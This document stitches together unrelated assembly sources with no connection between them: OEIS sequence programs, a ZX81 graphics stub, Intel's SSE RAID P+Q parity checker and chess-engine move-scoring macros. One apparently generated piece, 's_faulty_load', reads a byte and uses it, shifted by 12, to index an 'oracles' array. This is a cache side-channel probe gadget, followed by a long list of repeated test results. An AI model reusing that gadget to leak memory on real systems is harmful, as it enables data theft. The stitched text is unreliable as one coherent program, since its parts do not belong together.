#0,#0,#800,#0,#1000,#0,#0,#0 row86 dw #0,#0,#1000,#2000,#2000,#0,#0,#0 row87 dw #0,#0,#1000,#0,#2000,#0,#0,#0 row88 dw #0,#0,#aae,#155c,#155c,#0,#0,#0 row89 dw #0,#0,#aae,#0,#155c,#0,#0,#0 row8a dw #0,#0,#bfd,#17f9,#17f9,#0,#0,#0 row8b dw #0,#0,#bfd,#0,#17f9,#0,#0,#0 row8c dw #0,#0,#984,#1307,#1307,#0,#0,#0 row8d dw #0,#0,#984,#0,#1307,#0,#0,#0 row8e dw #0,#0,#800,#1000,#1000,#984,#bfd,#e41 row8f dw #0,#0,#800,#0,#1000,#984,#bfd,#e41 row90 dw #0,#0,#1000,#2000,#2000,#984,#bfd,#e41 row91 dw #0,#0,#1000,#0,#2000,#984,#bfd,#e41 row92 dw #0,#0,#aae,#155c,#155c,#984,#bfd,#e41 row93 dw #0,#0,#aae,#0,#155c,#984,#bfd,#e41 row94 dw #0,#0,#bfd,#17f9,#17f9,#984,#bfd,#e41 row95 dw #0,#0,#bfd,#0,#17f9,#984,#bfd,#e41 row96 dw #0,#0,#984,#1307,#1307,#984,#bfd,#e41 row97 dw #0,#0,#984,#0,#1307,#984,#bfd,#e41 row98 dw #0,#0,#800,#1000,#1000,#984,#bfd,#1000 row99 dw #0,#0,#800,#0,#1000,#984,#bfd,#1000 row9a dw #0,#0,#1000,#2000,#2000,#984,#bfd,#1000 row9b dw #0,#0,#1000,#0,#2000,#984,#bfd,#1000 row9c dw #0,#0,#aae,#155c,#155c,#984,#bfd,#1000 row9d dw #0,#0,#aae,#0,#155c,#984,#bfd,#1000 row9e dw #0,#0,#bfd,#17f9,#17f9,#984,#bfd,#1000 row9f dw #0,#0,#bfd,#0,#17f9,#984,#bfd,#1000 rowa0 dw #0,#0,#984,#1307,#1307,#984,#bfd,#1000 rowa1 dw #0,#0,#984,#0,#1307,#984,#bfd,#1000
; A187320: a(n) = floor((Pi-2)*n); complement of A186544. ; 0,1,2,3,4,5,6,7,9,10,11,12,13,14,15,17,18,19,20,21,22,23,25,26,27,28,29,30,31,33,34,35,36,37,38,39,41,42,43,44,45,46,47,49,50,51,52,53,54,55,57,58,59,60,61,62,63,65,66,67,68,69,70,71,73,74,75,76,77,78,79,81,82,83,84,85,86,87,89,90,91,92,93,94,95,97,98,99,100,101,102,103,105,106,107,108,109,110,111,113,114,115,116,117,118,119,121,122,123,124,125,126,127,128,130,131,132,133,134,135,136,138,139,140,141,142,143,144,146,147,148,149,150,151,152,154,155,156,157,158,159,160,162,163,164,165,166,167,168,170,171,172,173,174,175,176,178,179,180,181,182,183,184,186,187,188,189,190,191,192,194,195,196,197,198,199,200,202,203,204,205,206,207,208,210,211,212,213,214,215,216,218,219,220,221,222,223,224,226,227,228,229,230,231,232,234,235,236,237,238,239,240,242,243,244,245,246,247,248,250,251,252,253,254,255,256,257,259,260,261,262,263,264,265,267,268,269,270,271,272,273,275,276,277,278,279,280,281,283,284 mov $3,$0 mov $4,$0 lpb $4 mov $0,$3 sub $4,1 sub $0,$4 mov $6,$0 mov $8,2 lpb $8 mov $0,$6 sub $8,1 add $0,$8 sub $0,1 cal $0,4082 ; Numbers n such that sin(n-1) <= 0 and sin(n) > 0. add $0,1 div $0,2 mov $2,$0 mul $2,2 mov $5,$2 mov $9,$8 lpb $9 mov $7,$5 sub $9,1 lpe lpe lpb $6 mov $6,0 sub $7,$5 lpe mov $5,$7 sub $5,2 div $5,3 add $1,$5 lpe
;-------------------------------------------------------------- ; This code comes from the 'HRG_Tool' ; by Matthias Swatosch ;-------------------------------------------------------------- ; ; Fast CLS for hi-rez ZX81 ; ; Stefano - Sept.2007 ; This version works on the first 64 lines only ; ; ; $Id: clg.asm,v 1.2 2007/10/04 20:16:12 stefano Exp $ ; XLIB clg LIB _clg_hr .clg jp _clg_hr
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2015 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; Optimized pq of N source vectors using SSE3 ;;; int pq_gen_sse(int vects, int len, void **array) ;;; Generates P+Q parity vector from N (vects-2) sources in array of pointers ;;; (**array). Last two pointers are the P and Q destinations respectively. ;;; Vectors must be aligned to 16 bytes. Length must be 16 byte aligned. %include "reg_sizes.asm" %ifidn __OUTPUT_FORMAT__, elf64 %define arg0 rdi %define arg1 rsi %define arg2 rdx %define arg3 rcx %define arg4 r8 %define arg5 r9 %define tmp r11 %define return rax %define PS 8 %define func(x) x: %define FUNC_SAVE %define FUNC_RESTORE %elifidn __OUTPUT_FORMAT__, win64 %define arg0 rcx %define arg1 rdx %define arg2 r8 %define arg3 r9 %define return rax %define PS 8 %define tmp r11 %define stack_size 2*16 + 8 ; must be an odd multiple of 8 %define func(x) proc_frame x %macro FUNC_SAVE 0 alloc_stack stack_size save_xmm128 xmm6, 0*16 save_xmm128 xmm7, 1*16 end_prolog %endmacro %macro FUNC_RESTORE 0 movdqa xmm6, [rsp + 0*16] movdqa xmm7, [rsp + 1*16] add rsp, stack_size %endmacro %elifidn __OUTPUT_FORMAT__, elf32 %define arg0 edx %define arg1 ecx %define return eax %define PS 4 %define func(x) x: %define arg(x) [ebp+8+PS*x] %define arg2 edi ; must sav/restore %define arg3 esi %define tmp ebx %macro FUNC_SAVE 0 push ebp mov ebp, esp push esi push edi push ebx mov arg0, arg(0) mov arg1, arg(1) mov arg2, arg(2) %endmacro %macro FUNC_RESTORE 0 pop ebx pop edi pop esi mov esp, ebp ;if has frame pointer? pop ebp %endmacro %endif ; output formats %define vec arg0 %define len arg1 %define ptr arg3 %define pos return %define xp1 xmm0 %define xq1 xmm1 %define xtmp1 xmm2 %define xs1 xmm3 %define xp2 xmm4 %define xq2 xmm5 %define xtmp2 xmm6 %define xs2 xmm7 %ifidn PS,8 ; 64-bit code default rel [bits 64] %define xpoly xmm15 %elifidn PS,4 ; 32-bit code %define xpoly [poly] %endif ;;; Use Non-temporal load/stor %ifdef NO_NT_LDST %define XLDR movdqa %define XSTR movdqa %else %define XLDR movntdqa %define XSTR movntdq %endif section .text align 16 global pq_check_sse:ISAL_SYM_TYPE_FUNCTION func(pq_check_sse) FUNC_SAVE sub vec, 3 ;Keep as offset to last source jng return_fail ;Must have at least 2 sources cmp len, 0 je return_pass test len, (16-1) ;Check alignment of length jnz return_fail mov pos, 0 %ifidn PS,8 movdqa xpoly, [poly] ;For 64-bit, load poly into high xmm reg %endif cmp len, 32 jl loop16 len_aligned_32bytes: sub len, 32 ;Do end of vec first and run backward loop32: mov ptr, [arg2+PS+vec*PS] ;Get address of P parity vector mov tmp, [arg2+(2*PS)+vec*PS] ;Get address of Q parity vector XLDR xp1, [ptr+pos] ;Initialize xp1 with P1 src XLDR xp2, [ptr+pos+16] ;Initialize xp2 with P2 src + 16B ahead pxor xq1, xq1 ;q1 = 0 pxor xq2, xq2 ;q2 = 0 mov ptr, [arg2+vec*PS] ;Fetch last source pointer mov tmp, vec ;Set tmp to point back to last vector XLDR xs1, [ptr+pos] ;Preload last vector (source) XLDR xs2, [ptr+pos+16] ;Preload last vector (source) next_vect: sub tmp, 1 ;Inner loop for each source vector mov ptr, [arg2+tmp*PS] ; get pointer to next vect pxor xp1, xs1 ; p1 ^= s1 pxor xp2, xs2 ; p2 ^= s2 pxor xq1, xs1 ; q1 ^= s1 pxor xq2, xs2 ; q2 ^= s2 pxor xtmp1, xtmp1 ; xtmp1 = 0 - for compare to 0 pxor xtmp2, xtmp2 ; xtmp2 = 0 pcmpgtb xtmp1, xq1 ; xtmp1 = mask 0xff or 0x00 if bit7 set pcmpgtb xtmp2, xq2 ; xtmp2 = mask 0xff or 0x00 if bit7 set pand xtmp1, xpoly ; xtmp1 = poly or 0x00 pand xtmp2, xpoly ; xtmp2 = poly or 0x00 XLDR xs1, [ptr+pos] ; Get next vector (source data1) XLDR xs2, [ptr+pos+16] ; Get next vector (source data2) paddb xq1, xq1 ; q1 = q1<<1 paddb xq2, xq2 ; q2 = q2<<1 pxor xq1, xtmp1 ; q1 = q1<<1 ^ poly_masked pxor xq2, xtmp2 ; q2 = q2<<1 ^ poly_masked jg next_vect ; Loop for each vect except 0 pxor xp1, xs1 ;p1 ^= s1[0] - last source is already loaded pxor xq1, xs1 ;q1 ^= 1 * s1[0] pxor xp2, xs2 ;p2 ^= s2[0] pxor xq2, xs2 ;q2 ^= 1 * s2[0] mov tmp, [arg2+(2*PS)+vec*PS] ;Get address of Q parity vector XLDR xtmp1, [tmp+pos] ;re-init xq1 with Q1 src XLDR xtmp2, [tmp+pos+16] ;re-init xq2 with Q2 src + 16B ahead pxor xq1, xtmp1 ;xq1 = q1 calculated ^ q1 saved pxor xq2, xtmp2 por xp1, xq1 ;Confirm that all P&Q parity are 0 por xp1, xp2 por xp1, xq2 ptest xp1, xp1 jnz return_fail add pos, 32 cmp pos, len jle loop32 ;; ------------------------------ ;; Do last 16 Bytes remaining add len, 32 cmp pos, len je return_pass loop16: mov ptr, [arg2+PS+vec*PS] ;Get address of P parity vector mov tmp, [arg2+(2*PS)+vec*PS] ;Get address of Q parity vector XLDR xp1, [ptr+pos] ;Initialize xp1 with P1 src pxor xq1, xq1 ;q = 0 mov ptr, [arg2+vec*PS] ;Fetch last source pointer mov tmp, vec ;Set tmp to point back to last vector XLDR xs1, [ptr+pos] ;Preload last vector (source) next_vect16: sub tmp, 1 ;Inner loop for each source vector mov ptr, [arg2+tmp*PS] ; get pointer to next vect pxor xq1, xs1 ; q ^= s pxor xtmp1, xtmp1 ; xtmp = 0 pcmpgtb xtmp1, xq1 ; xtmp = mask 0xff or 0x00 if bit7 set pand xtmp1, xpoly ; xtmp = poly or 0x00 pxor xp1, xs1 ; p ^= s paddb xq1, xq1 ; q = q<<1 pxor xq1, xtmp1 ; q = q<<1 ^ poly_masked XLDR xs1, [ptr+pos] ; Get next vector (source data) jg next_vect16 ; Loop for each vect except 0 pxor xp1, xs1 ;p ^= s[0] - last source is already loaded pxor xq1, xs1 ;q ^= 1 * s[0] mov tmp, [arg2+(2*PS)+vec*PS] ;Get address of Q parity vector XLDR xtmp1, [tmp+pos] ;re-init tmp with Q1 src pxor xq1, xtmp1 ;xq1 = q1 calculated ^ q1 saved por xp1, xq1 ;Confirm that all P&Q parity are = 0 ptest xp1, xp1 jnz return_fail add pos, 16 cmp pos, len jl loop16 return_pass: mov return, 0 FUNC_RESTORE ret return_fail: mov return, 1 FUNC_RESTORE ret endproc_frame section .data align 16 poly: dq 0x1d1d1d1d1d1d1d1d, 0x1d1d1d1d1d1d1d1d ;;; func core, ver, snum slversion pq_check_sse, 00, 06, 0033
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x103b8, %r8 nop inc %r10 movl $0x61626364, (%r8) nop nop nop cmp $31348, %rax lea addresses_D_ht+0x6a98, %rbx nop nop nop dec %rdi mov $0x6162636465666768, %r8 movq %r8, %xmm7 movups %xmm7, (%rbx) nop nop nop nop sub %rdi, %rdi lea addresses_A_ht+0x19e74, %rbx nop nop dec %rdi movb $0x61, (%rbx) nop xor %rdi, %rdi lea addresses_WC_ht+0x6078, %rsi lea addresses_normal_ht+0xc478, %rdi nop nop nop nop and $46327, %rbx mov $72, %rcx rep movsl nop nop nop nop nop cmp %rbx, %rbx lea addresses_UC_ht+0x2340, %rbx nop nop and $29717, %rdx movb $0x61, (%rbx) nop nop nop cmp $44876, %rsi lea addresses_WC_ht+0x14f8, %rsi lea addresses_UC_ht+0x1154d, %rdi nop nop nop nop dec %rax mov $64, %rcx rep movsb nop nop add %rdi, %rdi lea addresses_WC_ht+0x12878, %r8 nop nop inc %r10 movb (%r8), %cl nop inc %rcx lea addresses_WC_ht+0x19cd8, %rsi lea addresses_normal_ht+0x10580, %rdi nop nop nop and $4325, %rbx mov $16, %rcx rep movsb nop nop nop nop xor $37613, %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r15 push %rax push %rbp push %rbx // Faulty Load lea addresses_D+0x6478, %r15 nop nop sub $65265, %r12 movb (%r15), %r10b lea oracles, %rbp and $0xff, %r10 shlq $12, %r10 mov (%rbp,%r10,1), %r10 pop %rbx pop %rbp pop %rax pop %r15 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': True}, 'OP': 'REPM'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
; A130490: a(n) = Sum_{k=0..n} (k mod 12) (Partial sums of A010881). ; 0,1,3,6,10,15,21,28,36,45,55,66,66,67,69,72,76,81,87,94,102,111,121,132,132,133,135,138,142,147,153,160,168,177,187,198,198,199,201,204,208,213,219,226,234,243,253,264,264,265,267,270,274,279,285,292,300,309,319,330,330,331,333,336,340,345,351,358,366,375,385,396,396,397,399,402,406,411,417,424,432,441,451,462,462,463,465,468,472,477,483,490,498,507,517,528,528,529,531,534,538,543,549,556,564,573,583,594,594,595,597,600,604,609,615,622,630,639,649,660,660,661,663,666,670,675,681,688,696,705,715,726,726,727,729,732,736,741,747,754,762,771,781,792,792,793,795,798,802,807,813,820,828,837,847,858,858,859,861,864,868,873,879,886,894,903,913,924,924,925,927,930,934,939,945,952,960,969,979,990,990,991,993,996,1000,1005,1011,1018,1026,1035,1045,1056,1056,1057,1059,1062,1066,1071,1077,1084,1092,1101,1111,1122,1122,1123,1125,1128,1132,1137,1143,1150,1158,1167,1177,1188,1188,1189,1191,1194,1198,1203,1209,1216,1224,1233,1243,1254,1254,1255,1257,1260,1264,1269,1275,1282,1290,1299,1309,1320,1320,1321,1323,1326,1330,1335,1341,1348,1356,1365 lpb $0,1 mov $2,$0 sub $0,1 mod $2,12 add $1,$2 lpe
macro stat_bonus statbonus, s, x ; x = depths = depth^2 mov r9d, r13d imul r9d, r13d ; r9d = x^2 imul r9d, 29 imul eax, r13d, 138 ; rax = 138*x add r9d, eax sub r9d, 134 mov statbonus, r9d end macro macro abs_bonus bonus, t mov edx, bonus sar edx, 31 mov t, edx xor t, bonus sub t, edx end macro macro history_update address, bonus, absbonus mov eax, dword[address] imul eax, absbonus mov ecx, eax mov edx, 0x62123261 imul edx sar edx, 12 mov eax, ecx sar eax, 31 sub edx, eax mov ecx, bonus sub ecx, edx add ecx, dword[address] mov dword[address], ecx end macro macro apply_capture_bonus address, bonus, absbonus mov eax, dword[address] imul eax, absbonus mov ecx, eax mov edx, 0x62123261 imul edx sar edx, 12 mov eax, ecx sar eax, 31 sub edx, eax mov ecx, bonus sub ecx, edx add ecx, dword[address] mov dword[address], ecx end macro macro cms_update address, bonus, absbonus mov eax, dword[address] imul eax, absbonus mov ecx, eax mov edx, 0x8C08C08D imul edx add edx, ecx sar edx, 14 mov eax, ecx sar eax, 31 sub edx, eax mov ecx, bonus sub ecx, edx add ecx, dword[address] mov dword[address], ecx end macro macro GetNextMove ; in: rbp Position ; rbx State ; esi skipQuiets (0 for false, -1 for true) ; out: ecx move ; rdi r12 r13 r14 r15 are clobbered mov rax, qword[rbx+State.stage] mov r14, qword[rbx+State.cur] mov r15, qword[rbx+State.endMoves] call rax mov qword[rbx+State.cur], r14 mov qword[rbx+State.endMoves], r15 end macro macro InsertionSort begin, ender, p, q local Outer, Inner, InnerDone, OuterDone lea p, [begin+sizeof.ExtMove] cmp p, ender jae OuterDone Outer: mov rax, qword[p] mov edx, dword[p+ExtMove.value] mov q, p cmp q, begin jbe InnerDone mov rcx, qword[q-sizeof.ExtMove+ExtMove.move] cmp edx, dword[q-sizeof.ExtMove+ExtMove.value] jle InnerDone Inner: mov qword [q], rcx sub q, sizeof.ExtMove cmp q, begin jbe InnerDone mov rcx, qword[q-sizeof.ExtMove+ExtMove.move] cmp edx, dword[q-sizeof.ExtMove+ExtMove.value] jg Inner InnerDone: mov qword[q], rax add p, sizeof.ExtMove cmp p, ender jb Outer OuterDone: end macro ; we have two implementation of partition macro Partition2 cur, ender ; at return ender point to start of elements that are <=0 local _048, _049, _050, _051, Done cmp cur, ender lea cur, [cur+8] je Done _048: mov eax, dword [cur-4] lea rcx, [cur-8] test eax, eax jg _051 mov eax, dword [ender-4] lea ender, [ender-8] cmp ender, rcx jz Done test eax, eax jg _050 _049: sub ender, 8 cmp ender, rcx jz Done mov eax, dword [ender+4] test eax, eax jle _049 _050: mov rdx, qword [cur-8] mov rcx, qword [ender] mov qword [cur-8], rcx mov qword [ender], rdx _051: cmp ender, cur lea cur, [cur+8] jnz _048 Done: end macro macro Partition1 first, last ; at return first point to start of elements that are <=0 local Done, FindNext, FoundNot, PFalse, WLoop cmp first, last je Done FindNext: cmp dword[first+4], 0 jle FoundNot add first, 8 cmp first, last jne FindNext jmp Done FoundNot: lea rcx, [first+8] WLoop: cmp rcx, last je Done cmp dword[rcx+4], 0 jle PFalse mov rax, qword[first] mov rdx, qword[rcx] mov qword[first], rdx mov qword[rcx], rax add first, 8 PFalse: add rcx, 8 jmp WLoop Done: end macro macro PickBest beg, start, ender ; out: ecx best move local Next, Done mov ecx, dword[beg+0] mov eax, dword[beg+4] mov rdx, beg add beg, sizeof.ExtMove mov start, beg cmp beg, ender jae Done Next: mov ecx, dword[start+4] cmp ecx, eax cmovg rdx, start cmovg eax, ecx add start, sizeof.ExtMove cmp start, ender jb Next mov rcx, qword[rdx] mov rax, qword[beg-sizeof.ExtMove] mov qword[rdx], rax mov qword[beg-sizeof.ExtMove], rcx Done: end macro ; use assembler to set mask of bits used in see sign ;SeeSignBitMask = 0 ; ;_from = 0 ;while _from < 8 ; _to = 0 ; while _to < 8 ; ; _fromvalue = 0 ; if Pawn <= _from & _from <= Queen ; _fromvalue = _from ; end if ; ; _tovalue = 0 ; if Pawn <= _to & _to <= Queen ; _tovalue = _to ; end if ; ; if _fromvalue > _tovalue ; SeeSignBitMask = SeeSignBitMask or (1 shl (_from+8*_to)) ; end if ; ; _to = _to+1 ; end while ; _from = _from+1 ;end while SeeSignBitMask = 0x7c00406070787c7c macro SeeSign JmpTo local Positive ; ecx move (preserved) ; jmp to JmpTo if see value is >=0, ecx is not clobbered in this case mov r8d, ecx shr r8d, 6 and r8d, 63 ; r8d = from mov r9d, ecx and r9d, 63 ; r9d = to movzx eax, byte[rbp+Pos.board+r8] ; r10 = FROM PIECE movzx edx, byte[rbp+Pos.board+r9] ; r11 = TO PIECE mov r10, SeeSignBitMask and eax, 7 and edx, 7 lea edx, [rax+8*rdx] mov eax, VALUE_KNOWN_WIN bt r10, rdx match , JmpTo jnc Positive else jnc JmpTo end match call See.HaveFromTo Positive: end macro macro SeeSignTest JmpTo local Positive ; eax = 1 if see >= 0 ; eax = 0 if see < 0 ; jmp to JmpTo if see value is >=0 eax is undefined in this case mov r8d, ecx shr r8d, 6 and r8d, 63 ; r8d = from mov r9d, ecx and r9d, 63 ; r9d = to movzx eax, byte[rbp+Pos.board+r8] ; eax = FROM PIECE movzx edx, byte[rbp+Pos.board+r9] ; edx = TO PIECE mov r10, SeeSignBitMask and eax, 7 and edx, 7 lea edx, [rax+8*rdx] bt r10, rdx jnc JmpTo xor edx, edx call SeeTestGe.HaveFromTo end macro macro ScoreCaptures start, ender local WhileLoop, Done mov r8, qword[rbp + Pos.captureHistory] cmp start, ender jae Done WhileLoop: mov eax, dword[start + ExtMove.move] mov ecx, dword[start + ExtMove.move] shr ecx, 6 and eax, 63 and ecx, 63 lea start, [start + sizeof.ExtMove] movzx ecx, byte[rbp + Pos.board + rcx] shl ecx, 6 add ecx, eax movzx eax, byte[rbp + Pos.board + rax] mov edx, dword[PieceValue_MG + 4*rax] and eax, 7 shl ecx, 3 add ecx, eax mov eax, dword[r8 + 4*rcx] mov r9d, edx ; prepares for signed division by 8 mov ecx, 8 cdq idiv ecx ; hammers edx mov edx, r9d ; reloads edx add edx, eax mov dword[start-sizeof.ExtMove+ExtMove.value], edx cmp start, ender jb WhileLoop Done: end macro macro ScoreQuiets start, ender local cmh, fmh, fmh2, history_get_c local Loop, Done, TestLoop cmh equ r9 fmh equ r10 fmh2 equ r11 mov cmh, qword[rbx-1*sizeof.State+State.counterMoves] mov fmh, qword[rbx-2*sizeof.State+State.counterMoves] mov fmh2, qword[rbx-4*sizeof.State+State.counterMoves] mov r8d, dword[rbp+Pos.sideToMove] shl r8d, 12+2 add r8, qword[rbp+Pos.history] history_get_c equ r8 cmp start, ender jae Done Loop: mov ecx, dword[start+ExtMove.move] mov eax, ecx mov edx, ecx and eax, 64*64-1 mov eax, dword[history_get_c+4*rax] shr edx, 6 lea start, [start+sizeof.ExtMove] and ecx, 63 and edx, 63 movzx edx, byte[rbp+Pos.board+rdx] shl edx, 6 add edx, ecx add eax, dword[cmh+4*rdx] add eax, dword[fmh+4*rdx] add eax, dword[fmh2+4*rdx] mov dword[start-1*sizeof.ExtMove+ExtMove.value], eax cmp start, ender jb Loop Done: end macro macro ScoreEvasions start, ender local cmh local history_get_c local WhileLoop, Normal, Special, Done, Capture mov r9, qword[rbx-1*sizeof.State+State.counterMoves] mov edi, dword[rbp+Pos.sideToMove] shl edi, 12+2 add rdi, qword[rbp+Pos.history] history_get_c equ rdi cmh equ r9 cmp start, ender jae Done WhileLoop: mov ecx, dword[start+ExtMove.move] mov r10d, ecx ; r10d = move mov eax, ecx mov r8d, ecx shr eax, 6 and eax, 63 and ecx, 63 lea start, [start+sizeof.ExtMove] movzx ecx, byte[rbp+Pos.board+rcx] movzx edx, byte[rbp+Pos.board+rax] cmp r10d, MOVE_TYPE_EPCAP shl 12 jae Special test ecx, ecx jnz Capture Normal: and r10d, 64*64-1 mov eax, dword[history_get_c+4*r10] shl edx, 6 and r8d, 63 ; to_sq = move & 63 add edx, r8d add eax, dword[cmh+4*rdx] mov dword[start-1*sizeof.ExtMove+ExtMove.value], eax cmp start, ender jb WhileLoop jmp Done Special: cmp r10d, MOVE_TYPE_CASTLE shl 12 jae Normal ; castling Capture: mov eax, dword[PieceValue_MG+4*ecx] and edx, 7 sub eax, edx add eax, HistoryStats_Max+1 ; match piece types of master mov dword[start-1*sizeof.ExtMove+ExtMove.value], eax cmp start, ender jb WhileLoop Done: end macro
